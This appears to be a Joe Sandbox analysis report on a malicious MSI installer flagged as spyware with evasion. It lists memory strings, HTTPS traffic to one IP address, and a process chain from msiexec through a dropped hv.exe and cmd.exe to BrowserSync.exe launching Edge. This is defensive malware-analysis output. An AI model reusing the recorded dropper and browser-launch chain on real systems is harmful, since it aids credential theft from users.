Source: BrowserSync.exe, 0000000D.00000003.2316394585.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/bundles/v1/edgeChromium/latest/SSR-extension.489618fee28203b75117.js
Source: BrowserSync.exe, 0000000D.00000003.2510229822.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/e6
Source: BrowserSync.exe, 0000000D.00000003.2433890437.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New
Source: BrowserSync.exe, 0000000D.00000003.2361533983.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: BrowserSync.exe, 0000000D.00000003.2411737644.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/tt
Source: BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comAccess-Control-Expose-Headers:
Source: BrowserSync.exe, 0000000D.00000003.2350514112.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comCache-Control:
Source: BrowserSync.exe, 0000000D.00000003.2510229822.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2510287941.0000000002EFA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comcache-control:public
Source: BrowserSync.exe, 0000000D.00000003.2362509451.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comreport-to
Source: BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2436327933.0000000002EFA000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2387289413.0000000002EFA000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2384223970.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2436327933.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2410027416.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comreport-to:
Source: BrowserSync.exe, 0000000D.00000003.2362509451.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comx-as-suppresssetcookie1cache-controlprivate
Source: BrowserSync.exe, 0000000D.00000003.2510229822.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comx-as-suppresssetcookie:1cache-control:private
Source: BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://public.dns.iij.jp/dns-query
Source: hv.exe, 00000002.00000003.1701623793.000000000C9EB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sn.com
Source: BrowserSync.exe, 0000000D.00000003.2554567866.00000000081CA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: BrowserSync.exe, 0000000D.00000003.2554567866.00000000081D1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BrowserSync.exe, 0000000D.00000003.2554567866.00000000081D1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: BrowserSync.exe, 0000000D.00000003.2228123459.0000000007FB2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: BrowserSync.exe, 0000000D.00000003.2228123459.0000000007FB2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://t.ssl.ak.dynamic.tiles.virtualearth.net
Source: BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://titlehub.xboxlive.com/users/
Source: BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://user.auth.xboxlive.com/user/authenticate
Source: BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.clarity.ms
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: BrowserSync.exe, 0000000D.00000003.2226861028.0000000002ED6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BrowserSync.exe, 0000000D.00000003.2226861028.0000000002ED6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: hv.exe, 00000002.00000003.1701623793.000000000C9EB000.00000004.00000001.00020000.00000000.sdmp, hv.exe, 00000002.00000000.1692495635.0000000000CB6000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.handyviewer.com
Source: hv.exe, 00000002.00000000.1690921855.0000000000591000.00000020.00000001.01000000.00000003.sdmp, hv.exe, 00000003.00000000.1707350777.0000000000DB9000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.handyviewer.com/check-version.php?version=openS
Source: hv.exe, 00000002.00000000.1690921855.0000000000591000.00000020.00000001.01000000.00000003.sdmp, hv.exe, 00000003.00000000.1707350777.0000000000DB9000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.handyviewer.com/contact.htmlopenSV
Source: hv.exe, 00000002.00000000.1690921855.0000000000591000.00000020.00000001.01000000.00000003.sdmp, hv.exe, 00000003.00000000.1707350777.0000000000CC3000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.handyviewer.com/donate.htmlopen
Source: hv.exe, 00000002.00000000.1690921855.0000000000591000.00000020.00000001.01000000.00000003.sdmp, hv.exe, 00000003.00000000.1707350777.0000000000DB9000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.handyviewer.com/donate.htmlopenS
Source: hv.exe, 00000002.00000000.1690921855.0000000000591000.00000020.00000001.01000000.00000003.sdmp, hv.exe, 00000003.00000000.1707350777.0000000000DB9000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.handyviewer.com/manual/openU
Source: hv.exe, 00000002.00000000.1690921855.0000000000591000.00000020.00000001.01000000.00000003.sdmp, hv.exe, 00000003.00000000.1707350777.0000000000DB9000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.handyviewer.com/openS
Source: hv.exe, 00000002.00000000.1690921855.0000000000591000.00000020.00000001.01000000.00000003.sdmp, hv.exe, 00000003.00000000.1707350777.0000000000DB9000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.handyviewer.com/openSV
Source: hv.exe, 00000002.00000000.1690921855.0000000000591000.00000020.00000001.01000000.00000003.sdmp, hv.exe, 00000003.00000000.1707350777.0000000000CC3000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.handyviewer.com/openhM
Source: BrowserSync.exe, 0000000D.00000003.2554567866.00000000081CA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: BrowserSync.exe, 0000000D.00000003.2554567866.00000000081D1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: BrowserSync.exe, 0000000D.00000003.2554567866.00000000081D1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: BrowserSync.exe, 0000000D.00000003.2554567866.00000000081D1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BrowserSync.exe, 0000000D.00000003.2554567866.00000000081D1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BrowserSync.exe, 0000000D.00000003.2554567866.00000000081D1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.quad9.net/home/privacy/
Source: BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.com/xsts/authorize

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56566
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.91:443 -> 192.168.2.4:50122 version: TLS 1.2

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\6b19d8.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{A4D5D260-BC3C-4905-A008-87685F3200B7}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1B9D.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\6b19da.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\6b19da.msi	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\6b19da.msi

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: 2_2_6CB82010	2_2_6CB82010
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: 2_2_6CB93864	2_2_6CB93864
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: 2_2_6CB74040	2_2_6CB74040
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: 2_2_6CB969AA	2_2_6CB969AA
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: 2_2_6CA0DD30	2_2_6CA0DD30
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: 2_2_6CA0E530	2_2_6CA0E530
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: 2_2_6CA0E610	2_2_6CA0E610
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: 2_2_6CB70729	2_2_6CB70729
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: 2_2_6CA0D760	2_2_6CA0D760
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 3_2_6C362010	3_2_6C362010
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 3_2_6C373864	3_2_6C373864
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 3_2_6C354040	3_2_6C354040
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 3_2_6C1EDD30	3_2_6C1EDD30
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 3_2_6C1EE530	3_2_6C1EE530
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 3_2_6C3769AA	3_2_6C3769AA
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 3_2_6C1EE610	3_2_6C1EE610
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 3_2_6C350729	3_2_6C350729
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 3_2_6C1ED760	3_2_6C1ED760
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 10_2_6C413864	10_2_6C413864
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 10_2_6C402010	10_2_6C402010
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 10_2_6C3F4040	10_2_6C3F4040
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 10_2_6C28DD30	10_2_6C28DD30
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 10_2_6C28E530	10_2_6C28E530
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 10_2_6C4169AA	10_2_6C4169AA
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 10_2_6C28E610	10_2_6C28E610
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 10_2_6C3F0729	10_2_6C3F0729
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 10_2_6C28D760	10_2_6C28D760
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_001C9B5F	14_2_001C9B5F
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_001C9B47	14_2_001C9B47
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_022B6E20	14_2_022B6E20
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_021D7200	14_2_021D7200
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_022A1BA4	14_2_022A1BA4
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_022B3428	14_2_022B3428
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_022AF424	14_2_022AF424
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_0229E018	14_2_0229E018
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_021CEC6C	14_2_021CEC6C
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_0229C4BC	14_2_0229C4BC
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_022B30CC	14_2_022B30CC
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_02243D60	14_2_02243D60
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_022B71C8	14_2_022B71C8

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\BrowserSync.exe B22BF1210B5FD173A210EBFA9092390AA0513C41E1914CBE161EB547F049EF91

Source: hv.exe.1.dr	Static PE information: Resource name: RT_RCDATA type: apollo a88k COFF executable
Source: hv.exe.2.dr	Static PE information: Resource name: RT_RCDATA type: apollo a88k COFF executable
Source: BrowserSync.exe.4.dr	Static PE information: Resource name: ZIP type: Zip archive data (empty)

Source: hv.exe.2.dr	Static PE information: Number of sections : 11 > 10
Source: hv.exe.1.dr	Static PE information: Number of sections : 11 > 10
Source: bqjgdd.4.dr	Static PE information: Number of sections : 12 > 10
Source: mefglukvu.11.dr	Static PE information: Number of sections : 12 > 10

Source: classification engine

Classification label: mal84.spyw.evad.winMSI@71/347@23/13

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\CML1BDC.tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7336:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7760:120:WilError_03

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\TEMP\~DF472D3DF7D2E02D17.TMP

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: cLm7ThwEvh.msi

Static file information: TRID: Microsoft Windows Installer (60509/1) 88.31%

Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\cLm7ThwEvh.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\Caret\hv.exe "C:\Users\user\AppData\Local\Temp\Caret\hv.exe"
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process created: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe "C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe"
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\BrowserSync.exe C:\Users\user\AppData\Local\Temp\BrowserSync.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\BrowserSync.exe C:\Users\user\AppData\Local\Temp\BrowserSync.exe
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2060,i,4060890081316358745,17659555323180037,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:3
